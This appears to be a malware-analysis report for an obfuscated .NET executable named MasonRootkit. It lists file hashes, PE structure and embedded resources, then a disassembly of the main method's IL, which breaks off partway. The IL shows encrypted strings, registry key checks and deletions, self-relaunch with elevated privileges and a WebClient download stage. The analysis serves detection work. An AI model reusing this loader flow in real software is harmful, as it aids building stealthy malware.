Suspicious
Suspect

76d622a3a2f86e2a5e6217155a6ee1d4

PE Executable
MD5: 76d622a3a2f86e2a5e6217155a6ee1d4
Size: 1.61 MB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Very high
MD5 76d622a3a2f86e2a5e6217155a6ee1d4
Sha1 e095d3b85a18bd8dda63bfd1c12f60c02b812597
Sha256 fc094a9cbf6b8e30b323d1b55d5b9a9a49c2d2ce34d48014540d00ea845fafe9
Sha384 6c0a5712b26bbb0cf5f3f5f903d793edf0fdd451b62aee35aeb0fe018988c83c0ad7766113afc90bac5abb70579d855b
Sha512 8cf8b47de4045cb2513d58b882bc8d2b5bc63fb8ab2be08b0ae6d1df99d9e33e3f79cfc0cdd84dd8a9cd42aba08d746bee32ece70e3012b99cead4dee00c85ad
SSDeep 24576:HyMPPZKL1YpDI8/WFCoanWgU6psHl2LPrA+YjIs2aTMpwoGcPAdjXbH:HyMPBKZ+skGd6pjLTA+w32asxg9r
TLSH F0751252F5A401F6D4AA81354D632F11B7B6F43A4720ABFB4B48584CBF63BA41D7AF80
PeID
.NET executableMASM/TASM - sig4 (h)Microsoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual C++ v6.0 DLLMicrosoft Visual Studio .NET
76d622a3a2f86e2a5e6217155a6ee1d4
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
hiq22cyx.rbz
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
wxewidaxg.Resources
Dominate.exe
tpm spoof.exe
teuo0bvm.xthrootkit
Structure
DosHeader
PE Header
Optional Header (x64)
Section Headers
.text
.rdata
.data
.pdata
.rsrc
Resources
DLL
ID:0065
ID:1033
Structure
DosHeader
PE Header
Optional Header (x64)
Section Headers
.text
.rdata
.data
.pdata
.detourc
.detourd
_RDATA
.reloc
Name Value
Info
PE Detect: PeReader OK (file layout)
Module Name
MasonRootkit.exe
Full Name
MasonRootkit.exe
EntryPoint 
System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.String[])
Scope Name
MasonRootkit.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
MasonRootkit
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.8
Total Strings
188
Main Method 
System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.String[])
Main IL Instruction Count
248
Main IL 
ldsfld System.IntPtr System.IntPtr::Zero
stloc.0 <null>
call System.Boolean System.Environment::get_Is64BitOperatingSystem()
brfalse.s IL_0015: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldloca.s V_0
call System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.IntPtr&)
pop <null>
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_0021: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ()
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brtrue IL_01CE: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse IL_01CE: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser
ldstr 
蝽
蝡
蝨
蝺
蝹
蝯
蝼
蝫
蝲
蝊
蝇
蝊
蝇
蝜
蝛
蝀
ldstr 

ldstr 
call System.String System.String::Replace(System.String,System.String)
call System.Int32 <Module>::⇎ↂႋ⇝↞⇁⇀↩⇕⇂ↇ∷ↇ൲↹↽↋∶⇎ↆ⇙∷ ↽⇞⇎⇕ↇ↢ↇ↋ↀ↣↋↹⇎↩⇟⇎↌⇟↺Ↄ↹↭⇎ↇ⇎⇟⇜⇟⇚⇚ↂ↹⇞⇂⇟ↁ↋⇇↠⇎⇜∷ႋ⇙⇟↭↞↞↣∷⇀⇟↌↖↭↖⇎⇞⇎⇎ↆ↺↌∷⇕⇚↖↺↣⇞⇙()
ldc.i4.1 <null>
call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean)
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String)
stloc.1 <null>
ldloc.1 <null>
brtrue.s IL_0084: ldloc.1
ldstr 
쁵
쁴
ldstr 

ldstr 
call System.String System.String::Replace(System.String,System.String)
ldc.i4 1716895771
ldc.i4.1 <null>
call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean)
stloc.2 <null>
br.s IL_00AF: ldloc.2
ldloc.1 <null>
ldstr 
톝
톐
톝
톐
ldstr 

ldstr 
call System.String System.String::Replace(System.String,System.String)
ldc.i4 1030083065
ldc.i4.1 <null>
call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean)
callvirt System.Object Microsoft.Win32.RegistryKey::GetValue(System.String)
castclass System.String
stloc.2 <null>
ldloc.2 <null>
ldstr 
ꭖ
ꭊ
ꭜ
ldstr 

ldstr 
call System.String System.String::Replace(System.String,System.String)
ldc.i4 152021807
ldc.i4.1 <null>
call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean)
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_00E6: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
call System.Reflection.Assembly System.Reflection.Assembly::GetEntryAssembly()
callvirt System.String System.Reflection.Assembly::get_Location()
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.String)
ret <null>
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_014A: nop
call System.Reflection.Assembly System.Reflection.Assembly::GetEntryAssembly()
callvirt System.String System.Reflection.Assembly::get_Location()
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.3 <null>
ldloc.3 <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
ldloc.3 <null>
ldstr 
괝
괚
괁
괎
괜
ldstr 

ldstr 
call System.String System.String::Replace(System.String,System.String)
ldc.i4 308915567
ldc.i4.1 <null>
call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean)
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Verb(System.String)
nop <null>
ldloc.3 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
leave.s IL_013C: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
pop <null>
leave.s IL_013C: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldc.i4.0 <null>
ceq <null>
stloc.s V_4
ldloc.s V_4
brfalse.s IL_0129: nop
nop <null>
ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser
ldstr 
ჺ
ღ
ჯ
ჽ
ჾ
შ
჻
წ
ჵ
Ⴭ
Ⴠ
Ⴭ
Ⴠ
მ
ნ
Ⴧ
ldstr 

ldstr 
call System.String System.String::Replace(System.String,System.String)
ldc.i4 866259113
ldc.i4.1 <null>
call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean)
callvirt System.Void Microsoft.Win32.RegistryKey::DeleteSubKey(System.String)
leave.s IL_0179: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
pop <null>
leave.s IL_0179: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_0193: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_018E: call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ()
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ()
br.s IL_0193: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ()
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_01A0: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldc.i4.0 <null>
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.Boolean)
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse IL_028B: nop
ldsfld System.String MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
call System.Reflection.Assembly System.Reflection.Assembly::GetEntryAssembly()
callvirt System.String System.Reflection.Assembly::get_Location()
call System.Byte[] System.IO.File::ReadAllBytes(System.String)
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldsfld System.String MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.String,System.Byte[],System.Boolean,System.String)
ret <null>
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_020B: nop
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_020B: nop
call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
callvirt System.Int32 System.Diagnostics.Process::get_Id()
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.Int32)
call System.Reflection.Assembly System.Reflection.Assembly::GetEntryAssembly()
callvirt System.String System.Reflection.Assembly::get_Location()
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.String)
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ()
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_020B: nop
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ()
nop <null>
ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser
ldstr 
才
扑
托
扊
扉
扟
扌
扛
扂
扺
扷
扺
扷
扬
扫
扰
ldstr 

ldstr 
call System.String System.String::Replace(System.String,System.String)
ldc.i4 1051615774
ldc.i4.1 <null>
call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean)
callvirt System.Void Microsoft.Win32.RegistryKey::DeleteSubKey(System.String)
leave.s IL_023A: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
pop <null>
leave.s IL_023A: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_0254: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_024F: call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ()
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ()
br.s IL_0254: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ()
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_0261: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldc.i4.0 <null>
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.Boolean)
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_028B: nop
ldsfld System.String MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
call System.Reflection.Assembly System.Reflection.Assembly::GetEntryAssembly()
callvirt System.String System.Reflection.Assembly::get_Location()
call System.Byte[] System.IO.File::ReadAllBytes(System.String)
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldsfld System.String MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.String,System.Byte[],System.Boolean,System.String)
nop <null>
newobj System.Void System.Net.WebClient::.ctor()
stloc.s V_5
ldloc.s V_5
ldstr 
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
ldstr 

ldstr 
call System.String System.String::Replace(System.String,System.String)
ldc.i4 1338693632
ldc.i4.1 <null>
